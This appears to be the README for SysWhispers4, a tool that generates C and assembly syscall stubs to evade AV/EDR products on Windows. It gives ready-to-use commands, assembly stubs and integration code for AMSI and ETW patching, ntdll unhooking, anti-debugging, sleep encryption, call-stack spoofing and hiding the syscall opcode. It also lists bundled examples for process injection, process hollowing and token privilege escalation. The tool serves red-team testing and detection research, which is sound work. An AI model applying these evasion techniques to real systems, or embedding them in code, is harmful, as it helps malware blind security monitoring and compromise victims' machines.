SysWhispers4

AV/EDR evasion via direct and indirect system calls Windows NT 3.1 through Windows 11 24H2 · x64 · x86 · WoW64 · ARM64

SysWhispers4 is a Python-based syscall stub generator that produces C/ASM code for invoking NT kernel functions directly, bypassing user-mode hooks placed by AV/EDR products on ntdll.dll.

Built on the lineage of SysWhispers → SysWhispers2 → SysWhispers3, this version adds the most comprehensive set of SSN resolution strategies, invocation methods, and evasion capabilities to date.

Evolution: SysWhispers 1 → 4

Feature Comparison Matrix

† SW3's randomized method had a register-corruption bug — RDTSC overwrites edx (arg2). SW4 correctly saves rdx → r11 before rdtsc and restores it without touching the stack.

What's New in v4.1

New SSN Resolution Methods

SyscallsFromDisk (--resolve from_disk)

Maps a clean copy of ntdll from \KnownDlls\ntdll.dll and reads SSNs from the unhooked .text section. Completely bypasses all inline hooks — the EDR never sees the read.

// Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection
// SSNs come from the on-disk image, guaranteed hook-free
SW4_SyscallsFromDisk(pNtdll);

RecycledGate (--resolve recycled)

Combines the reliability of FreshyCalls (sort-by-VA) with opcode validation from Hell's Gate. For each function:

1. Get candidate SSN from sorted position (FreshyCalls)
2. If stub is clean, verify SSN matches opcode (double-check)
3. If stub is hooked, trust the sorted-index SSN (hook-resistant)

The most resilient method available — even if hooks reorder stubs or modify opcodes, the VA-sort gives the correct SSN.

HW Breakpoint (--resolve hw_breakpoint)

Uses debug registers (DR0–DR3) and a Vectored Exception Handler (VEH) to extract SSNs without reading the (potentially hooked) function bytes:

1. Set DR0 = address of syscall instruction in ntdll stub
2. Register VEH handler
3. Call into the stub — VEH catches EXCEPTION_SINGLE_STEP
4. At breakpoint, EAX contains the SSN — capture it
5. Clear DR0, skip the syscall, continue

Works even when hooks redirect execution, because the breakpoint fires after mov eax, <SSN>.

New Evasion Techniques

AMSI Bypass (--amsi-bypass)

Patches amsi.dll!AmsiScanBuffer to return E_INVALIDARG, making AMSI think scan arguments are invalid. If amsi.dll isn't loaded, returns success (nothing to patch).

SW4_PatchAmsi();  // Call early, before any suspicious operations

ntdll Unhooking (--unhook-ntdll)

Maps a clean copy of ntdll from \KnownDlls\ and overwrites the hooked .text section with the clean bytes:

// Call BEFORE SW4_Initialize() for best results
SW4_UnhookNtdll();     // Remove ALL inline hooks from ntdll
SW4_Initialize();       // Now FreshyCalls/Hell's Gate reads clean stubs

This completely removes all inline hooks from ntdll, making subsequent NT API calls go through original code paths.

Anti-Debugging (--anti-debug)

Performs 6 checks to detect debugger/analysis presence:

if (!SW4_AntiDebugCheck()) {
    // Debugger detected — bail out or take evasive action
    ExitProcess(0);
}

Sleep Encryption (--sleep-encrypt)

Ekko-style memory encryption during sleep to evade periodic memory scanners:

1. Generate random XOR key via RDTSC
2. XOR-encrypt own .text section
3. Set waitable timer + queue APC to decrypt
4. Sleep in alertable state
5. Timer fires → APC decrypts .text → execution resumes

// Instead of Sleep(5000), use:
SW4_SleepEncrypt(5000);  // .text is encrypted during the entire sleep

Defeats:

• Memory scanners during sleep (code is encrypted gibberish)
• Periodic module scans (signatures won't match)
• YARA/signature scans on in-memory PE

All Features (Existing + New)

SSN Resolution Methods (8 total)

Invocation Methods (5 total)

Evasion Options (9 total)

Quick Start

git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4

# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py

# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common

# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus

# Maximum evasion: all techniques combined (call stack spoofing)
python syswhispers.py --preset stealth \
    --method callstack --resolve recycled \
    --obfuscate --encrypt-ssn --string-encrypt \
    --etw-bypass --amsi-bypass --unhook-ntdll \
    --anti-debug --sleep-encrypt

# Randomized indirect (no stack spoofing needed)
python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof

# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll

# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --resolve hw_breakpoint

# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method egg --resolve halos_gate

# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64

# x86 / WoW64
python syswhispers.py --preset injection --arch x86

# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw

Command-Line Reference

python syswhispers.py [OPTIONS]

Function selection (at least one required):
  -p, --preset PRESET      common | injection | evasion | token | stealth |
                           file_ops | transaction | all
  -f, --functions FUNCS    NtAllocateVirtualMemory,NtCreateThreadEx,...

Target:
  -a, --arch ARCH          x64 (default) | x86 | wow64 | arm64
  -c, --compiler COMPILER  msvc (default) | mingw | clang

Techniques:
  -m, --method METHOD      embedded (default) | indirect | randomized |
                           callstack | egg
  -r, --resolve RESOLVE    freshycalls (default) | static | hells_gate |
                           halos_gate | tartarus | from_disk | recycled |
                           hw_breakpoint

Evasion / Obfuscation:
  --obfuscate              Randomize stub order + inject junk instructions
  --encrypt-ssn            XOR-encrypt SSN table at rest
  --stack-spoof            Include synthetic call stack frame helper
  --etw-bypass             Include user-mode ETW patch function
  --amsi-bypass            Include AMSI bypass (AmsiScanBuffer patch)
  --unhook-ntdll           Include ntdll unhooking (remap from KnownDlls)
  --anti-debug             Include anti-debugging checks (6 techniques)
  --sleep-encrypt          Include Ekko-style sleep encryption
  --string-encrypt         XOR-encoded string literals decoded at runtime

Output:
  --prefix PREFIX          Symbol prefix (default: SW4)
  -o, --out-file OUTFILE   Output filename base (default: SW4Syscalls)
  --out-dir OUTDIR         Output directory (default: .)

Info:
  --list-functions         Print all 86 supported NT functions and exit
  --list-presets           Print all preset definitions and exit
  -v, --verbose            Verbose output / traceback on error

Generated Files

Integration (MSVC)

1. Add all 4 files to your Visual Studio project
2. Enable MASM: Project → Build Customizations → masm (.targets)
3. Call initialization functions at startup

#include "SW4Syscalls.h"

int main(void) {
    // Step 1 (optional): Remove ALL hooks from ntdll
    // Call BEFORE Initialize for best results
    SW4_UnhookNtdll();

    // Step 2: Resolve SSNs (required for all dynamic methods)
    if (!SW4_Initialize()) return 1;

    // Step 3 (optional): Evasion patches
    SW4_PatchEtw();    // Suppress user-mode ETW events
    SW4_PatchAmsi();   // Bypass AMSI scanning

    // Step 4 (optional): Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected — take evasive action
        return 0;
    }

    // Use NT functions directly — all via syscall, no API hooks
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS st = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // Use encrypted sleep instead of Sleep()
    // SW4_SleepEncrypt(5000);  // .text encrypted during sleep

    return NT_SUCCESS(st) ? 0 : 1;
}

Integration (MinGW/Clang)

x86_64-w64-mingw32-gcc -masm=intel \
    example.c SW4Syscalls.c SW4Syscalls_stubs.c \
    -o example.exe -lntdll

SSN Resolution Techniques

Static

Embeds syscall numbers from the bundled j00ru table at generation time. No runtime ntdll parsing — fastest and simplest. An embedded table is a detection signal; use dynamic methods for stealth.

FreshyCalls (default — recommended)

Sorts all Nt* exports from ntdll by virtual address. Sorted index = SSN. Works even if every Nt* stub is hooked — reads only VAs, not function bytes.

Hell's Gate

Reads the mov eax, <SSN> opcode directly from each ntdll stub:

4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00

Fails when the stub's first bytes are overwritten by an EDR hook.

Halo's Gate

Extends Hell's Gate: when a stub is hooked, scans neighboring stubs (±8) in the sorted export list and infers the SSN by ±offset arithmetic.

Tartarus' Gate

Extends Halo's Gate to detect all EDR hook patterns:

• E9 xx xx xx xx — near relative JMP
• FF 25 xx xx xx xx — far absolute JMP via memory
• EB xx — short JMP
• CC — int3 breakpoint
• E8 xx xx xx xx — call (rare)

Scans up to 16 neighbors in both directions.

SyscallsFromDisk (bypasses ALL hooks)

Maps a completely clean copy of ntdll from \KnownDlls\ntdll.dll and reads SSNs from the pristine .text section. The EDR hooks are irrelevant — we never read from the hooked copy.

RecycledGate (most resilient)

Combines FreshyCalls and Hell's Gate for maximum confidence:

• Primary: sorted-by-VA index (FreshyCalls)
• Validation: opcode cross-check if stub is clean
• Fallback: trust VA sort if stub is hooked

Even if an EDR modifies both hooks AND export table entries, the VA-sort still provides the correct SSN.

HW Breakpoint (advanced)

Uses CPU debug registers (DR0–DR3) to set hardware breakpoints on syscall instructions inside ntdll. A Vectored Exception Handler (VEH) catches the breakpoint and reads the SSN from EAX at that point. Does not read any potentially-tampered bytes.

Invocation Methods

Embedded — Direct Syscall

syscall lives in your stub. At kernel entry, RIP points into your PE — detectable by EDRs checking non-ntdll RIP.

Indirect

Jumps to a pre-located syscall;ret gadget inside ntdll.dll. At kernel entry, RIP appears to be inside ntdll — identical to a legitimate API call.

Randomized Indirect

Like Indirect, but selects a random gadget from a pool of up to 64 on every call. Defeats EDR heuristics that whitelist specific ntdll gadget addresses. Uses RDTSC for entropy — no API call needed.

SW4_NtAllocateVirtualMemory PROC
    mov  r10, rcx          ; arg1 → r10 (syscall ABI)
    mov  r11, rdx          ; SAVE rdx — rdtsc trashes edx!
    rdtsc                   ; eax:edx = TSC (clobbers edx)
    xor  eax, edx           ; mix
    and  eax, 63            ; pool index (0..63)
    lea  rcx, [SW4_GadgetPool]
    mov  rcx, QWORD PTR [rcx + rax*8]   ; random gadget
    mov  rdx, r11           ; RESTORE rdx
    mov  eax, DWORD PTR [SW4_SsnTable + N*4]
    jmp  rcx               ; → random ntdll syscall;ret
SW4_NtAllocateVirtualMemory ENDP

Call Stack Spoofing (defeats stack walkers)

The most advanced invocation method. Fabricates plausible RBP chain frames with return addresses pointing only into ntdll, then jumps to a syscall;ret gadget. EDR stack walkers see a clean chain of signed-module frames — no address from your code appears.

TRADITIONAL INDIRECT (detectable):
  ntdll!NtAllocateVirtualMemory
  0x00007FF6A0001234   ← YOUR CODE (unbacked memory) → FLAGGED
  ntdll!RtlUserThreadStart

CALL STACK SPOOFING:
  ntdll!NtAllocateVirtualMemory
  ntdll!0x7FFE1234      ← Fake return (ntdll epilogue gadget)
  ntdll!0x7FFE5678      ← Fake return (ntdll epilogue gadget)
  kernel32!BaseThreadInitThunk  → CLEAN

Defeats: RtlCaptureStackBackTrace, RBP chain walking, basic unwind-info analysis.

Egg Hunt

Stubs contain an 8-byte random egg marker in place of syscall. SW4_HatchEggs() scans the .text section at startup and replaces each egg with 0F 05 90 90 90 90 90 90. No syscall opcode appears in the binary on disk.

EDR Detection Landscape

¹ The syscall opcode is in your PE's .text section — at your code address, not ntdll.

ETW-Ti (Microsoft-Windows-Threat-Intelligence) fires inside the kernel regardless of invocation method. No user-mode technique bypasses it without kernel access.

Evasion Techniques Deep Dive

XOR-Encrypted SSN Table (--encrypt-ssn)

SSN values are stored XOR'd with a random compile-time key. Decrypted in the ASM stub just before the syscall — no plaintext SSN appears in the binary at rest.

#define SW4_XOR_KEY  0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;

; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4]  ; encrypted
xor eax, SW4_XOR_KEY                      ; decrypt
syscall

Call Stack Spoofing (--stack-spoof)

A trampoline that replaces the visible return address on the stack with a pointer into ntdll, making the call chain appear legitimate to stack-walking EDRs.

SW4_CallWithSpoofedStack PROC
    pop  r11               ; save real return address
    push [SW4_SpoofReturnAddr]  ; push ntdll address instead
    push r11               ; real address below (unreachable by walker)
    jmp  rax               ; execute target
SW4_CallWithSpoofedStack ENDP

ETW Bypass (--etw-bypass)

Patches ntdll!EtwEventWrite to return STATUS_ACCESS_DENIED immediately, suppressing user-mode ETW event delivery.

This does not bypass kernel-mode ETW-Ti callbacks. Use only in authorized engagements.

ntdll Unhooking (--unhook-ntdll)

Maps a clean ntdll from \KnownDlls\ and memcpy's the clean .text section over the hooked one:

Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
      VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup

Call before SW4_Initialize() to ensure SSN resolution reads clean stubs.

Junk Instructions (--obfuscate)

14 different harmless x64 instruction variants injected between stub instructions:

nop                          ; classic NOP
xchg ax, ax                  ; 2-byte NOP
lea r11, [r11]               ; no-op LEA
nop DWORD PTR [rax]          ; multi-byte NOP
xchg r11, r11                ; register swap (no-op)
test r11d, 0ABh              ; flags-only, result discarded
push 042h / pop r11          ; push-pop noise
fnop                         ; FPU no-op
lea rsp, [rsp + 00h]         ; stack identity LEA
; ... and more

Supported Functions (86)

python syswhispers.py --list-functions

Presets

Recommended Configurations

Minimum Detection Footprint (Red Team)

python syswhispers.py --preset stealth \
    --method callstack --resolve recycled \
    --obfuscate --encrypt-ssn --string-encrypt \
    --unhook-ntdll --etw-bypass --amsi-bypass \
    --anti-debug --sleep-encrypt

Fast & Simple (CTF / Quick Testing)

python syswhispers.py --preset common

Bypass Heavily Hooked EDR

python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll --encrypt-ssn

Process Doppelganging

python syswhispers.py --preset transaction \
    --method indirect --resolve freshycalls

Syscall Table Coverage

Updated via scripts/update_syscall_table.py from j00ru/windows-syscalls:

Architecture Support

Project Structure

SysWhispers4/
├── syswhispers.py              # CLI entry point
├── core/
│   ├── models.py               # Enums, dataclasses (8 resolution, 5 invocation methods)
│   ├── generator.py            # Code generation engine (~2500 lines)
│   ├── obfuscator.py           # Obfuscation: junk, eggs, XOR, string encryption
│   └── utils.py                # Hashes (DJB2, CRC32, FNV-1a), data loading
├── data/
│   ├── prototypes.json         # 86 NT function signatures
│   ├── presets.json            # 11 function presets
│   ├── syscalls_nt_x64.json   # x64 SSN table (Win7–Win11 24H2)
│   └── syscalls_nt_x86.json   # x86 SSN table
├── scripts/
│   └── update_syscall_table.py # Auto-fetch latest j00ru table
└── examples/
    ├── example_injection.c         # Basic injection
    ├── example_process_hollowing.c # Process hollowing
    ├── example_dll_injection.c     # DLL injection
    ├── example_token_manipulation.c# Token privilege escalation
    ├── example_evasion_combo.c     # Full evasion combo
    ├── example_apc_injection.c     # APC injection (Early Bird + Classic)
    └── example_registry_ops.c      # Registry operations

Security Notice

SysWhispers4 is a security research and authorized penetration testing tool. Use only:

• On systems you own or have explicit written authorization to test
• In CTF competitions
• For defensive research (understanding offensive techniques to improve detection)
• For developing security product signatures

Unauthorized use against systems you do not own is illegal in most jurisdictions.

References & Credits

License

This project is released for educational and authorized security testing purposes.